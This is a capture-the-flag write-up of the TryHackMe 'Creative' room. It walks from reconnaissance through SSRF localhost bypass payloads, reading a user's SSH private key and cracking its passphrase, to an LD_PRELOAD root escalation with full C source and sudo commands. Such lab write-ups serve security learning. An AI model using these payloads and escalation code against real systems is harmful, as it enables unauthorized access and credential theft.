> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/creative.md).

# Creative

{% embed url="<https://tryhackme.com/r/room/creative>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Machine IP`**: 10.10.65.65

**`Nmap Scan`**:

```python
nmap -p- -A -v --min-rate 100 -oN creative_thm -Pn 10.10.65.65

Nmap scan report for 10.10.65.65
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://creative.thm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 45.475 days (since Tue Feb 27 06:46:24 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   157.07 ms 10.11.0.1
2   157.09 ms 10.10.65.65

```

From the scan we can see that the domain name is **`creative.thm`** from the **`http-title`** part. We can also find this out by just searching the machine IP in Firefox instead of waiting for the scan to complete.&#x20;

Now an entry can be made in the **`/etc/hosts`** file.

**`Command`**:

```python
echo "10.10.65.65 creative.thm" | sudo tee -a /etc/hosts >/dev/null
```

**`Checking out port 80`**:

<figure><img src="/files/OKhAXyARKYUp3Ym9N8Us" alt=""><figcaption></figcaption></figure>

We have a **`contact form`** here:

<figure><img src="/files/KWhW33eroipsJuecy9ap" alt=""><figcaption></figcaption></figure>

**`Testing out a basic XSS Payload`**:

Now let's set up a **`netcat`** listener on port **`80`**. If the above payload works we should be getting a connection back on our listener which basically shows that the server has reached out to our machine. The **`IP`** specified in the payload is the **`tun0`** interface **`IP`**.

<figure><img src="/files/tZPTJ66UxI0GkIGDapQB" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/hl006jiDrJWl56Kjrsjd" alt=""><figcaption></figcaption></figure></div>

But unfortunately we don't get any connection on the listener.

We can now do some **`directory busting`** :

**`Command`**:

```python
dirsearch -u http://creative.thm -t 1000  //It is highly recommended to not use a high thread count like in this case, on legit targets due to the amount of noise it would generate.
```

<div align="left"><figure><img src="/files/miMjSG1GcSFvHqrYIBDT" alt=""><figcaption></figcaption></figure></div>

The **`/assets`** path was Forbidden.

<div align="left"><figure><img src="/files/RIEuj5WGhLMPKTp4mnWX" alt=""><figcaption></figcaption></figure></div>

We have no other paths.

Now let us do a **`VHost Busting`**:

**`Command`**:

```python
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm --append-domain creative.thm
```

<figure><img src="/files/kFJE1VHWOztKIwduyvET" alt=""><figcaption></figcaption></figure>

There is a subdomain named: **`beta.creative.thm`**. Now we can this to the **`hosts`** file.

**`Checking out the newly found subdomain`**:

<figure><img src="/files/I376wLJKTBfPMPZ2cJrz" alt=""><figcaption></figcaption></figure>

There is a dialog box where **`URL's`** can be entered and the description says it will check if the **`URL`** submitted is **`alive or not`**.

The first thought was of trying **`Command Injection`**, but had no success.

Let us now check if it is vulnerable to **`SSRF`**:

We can do this using a tool called **`SSRFmap`** which is a semi-automatic operating tool that exploits the vulnerability to fetch information. It provides ready-made **`modules`** that we can make use of.&#x20;

{% embed url="<https://github.com/swisskyrepo/SSRFmap>" %}
SSRFmap
{% endembed %}

{% embed url="<https://www.kitploit.com/2019/02/ssrfmap-automatic-ssrf-fuzzer-and.html>" %}

The tool takes a Burp **`request file`** as input and a **`parameter`** to fuzz. Now let us intercept the request in Burp post clicking on **`Submit`** (The dialog box can be left empty or you can type in anything that you want to):

<div align="left"><figure><img src="/files/DM8GsVJisQpLwsY9eDfJ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/gsYq3722IXgIeRj2MqBe" alt=""><figcaption></figcaption></figure></div>

The parameter that we have is: **`url`**

**`Commands`**:

```python
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap
```

```python
python3 ssrfmap.py -r request -p url -m portscan
```

&#x20;The **`portscan`** module scans top **`8000`** ports for the host.

Now the **`request`** shown in the snippet above has to be saved to a file, have named it **`request`** in this case.&#x20;

**`Running the tool`**:

<div align="left"><figure><img src="/files/r9D7lwTThW6e5ewpE8m4" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/Bogm3XSndR1imcDBmGo1" alt=""><figcaption></figcaption></figure></div>

It found **`two`** open ports on the machine's localhost: **`80`** & **`1337`**. The same output can be achieved by using **`ffuf`**, **`wfuzz`**, **`Burp's Intruder`** etc.

Now we can use payloads like these to fetch information:

<div align="left"><figure><img src="/files/iiczc1udwFEwpzGXz5Id" alt=""><figcaption></figcaption></figure></div>

**`Payloads`**:

```python
http://127.0.1:1337  //This is a classic bypass, which consists of replacing 127.0.0.1 with 127.0.1
```

```python
http://127.0.0.1:1337
```

<figure><img src="/files/HtapmEDrKi12u2h61bKB" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/vbF4fTH1EKpKu1mK5F8f" alt=""><figcaption></figcaption></figure></div>

The payload worked and now we have a listing of all the directories on the machine.&#x20;

Let us get inside the **`/home`** directory:

<div align="left"><figure><img src="/files/cLddBFaVm8efF2EYB1jJ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/gnz6i2SN9zgUgjabn9CH" alt=""><figcaption></figcaption></figure></div>

We have a user named **`saad`**. Upon further climbing the directories, we get to the private key of **`saad`** within the **`.ssh`** directory:

<div align="left"><figure><img src="/files/1HvtuoGKRODlTAurcfIe" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/LehZ7X6mVA6jJIO7KbdQ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/C0zCQpNOjOyVVktup7jE" alt=""><figcaption></figcaption></figure></div>

We have the key in the correct format in the page source.

**`SSH ing in as saad`**:

Using the private key, post giving the file the needed permissions (**`chmod 400/600`**) we can **`SSH`** in as **`saad`**:

**`Command`**:

```python
ssh saad@creative.thm -i id_rsa
```

<div align="left"><figure><img src="/files/8lhdC6JV6dU97d0p9E60" alt=""><figcaption></figcaption></figure></div>

We notice that it is asking for the private key's passphrase. An **`id_rsa passphrase`** is an additional layer of security that can be added to the private key of an SSH key pair.

There are tools like **`ssh2john`** that converts the current private key format to **`John`** format which can then be used with **`John The Ripper`** tool to crack the passphrase.

**`Commands`**:

```python
ssh2john id_rsa > id_rsa_john_format
```

```python
john --wordlist=/usr/share/wordlist/rockyou.txt id_rsa_john_format
```

<div align="left"><figure><img src="/files/3s7BIoOnkACgPov2Bm6E" alt=""><figcaption></figcaption></figure></div>

**`Note`**:

Since I had already done the cracking before, I have used the **`--show`** switch of john to show the passphrase.

**`SSH ing in as saad with the obtained passsphrase`**:

<figure><img src="/files/d6xKr3IiQNYotqnqVOsl" alt=""><figcaption></figcaption></figure>

The user flag can now be fetched from the users **`/home`** directory. We could also take it from the **`URL Tester`** page by submitting this: **`http://127.0.1:1337/home/saad/user.txt`**.

Upon checking out the **`.bash_history`** file we find **`saad's`** password:

<div align="left"><figure><img src="/files/rUTUL04xyT0qLk8XdLPh" alt=""><figcaption></figcaption></figure></div>

In Bash, your command history is stored in a file ( **`.bash_history`** ) in your home directory. Now we can check for **`sudo`** rights.

**`Privilege Escalation`**:\
\
We can now check for **`saad's`** **`sudo`** rights/privs:

<figure><img src="/files/Xg6SCzcZtUowtlrqr3Fn" alt=""><figcaption></figcaption></figure>

**`saad`** has the ability to run **`/usr/bin/ping`** as the **`root`** user using **`sudo`**. The **`LD_PRELOAD`** environment variable is retained when executing commands with **`sudo`**, which is used for preloading **`shared libraries`** into a program's memory.

This environment variable can be exploited to **`privilege escalate`**.

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

Create a **`C-program`** within a directory we have write permissions on, we can use the **`/tmp`** directory in this case:

<div align="left"><figure><img src="/files/QErclwquahnXWaG0oYmH" alt=""><figcaption></figcaption></figure></div>

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

```

**`Command`**:

```python
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

<figure><img src="/files/kOVdklNnyz7H0s0gFFNo" alt=""><figcaption></figcaption></figure>

This creates a **`shell.so`** file. The warnings can be ignored.

**`Command`**:

```python
sudo LD_PRELOAD=/tmp/shell.so ping
```

<div align="left"><figure><img src="/files/siBmDPYAR1oYyx51MmgP" alt=""><figcaption></figcaption></figure></div>

Now we are root and can fetch the root flag from the **`/root`** directory.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}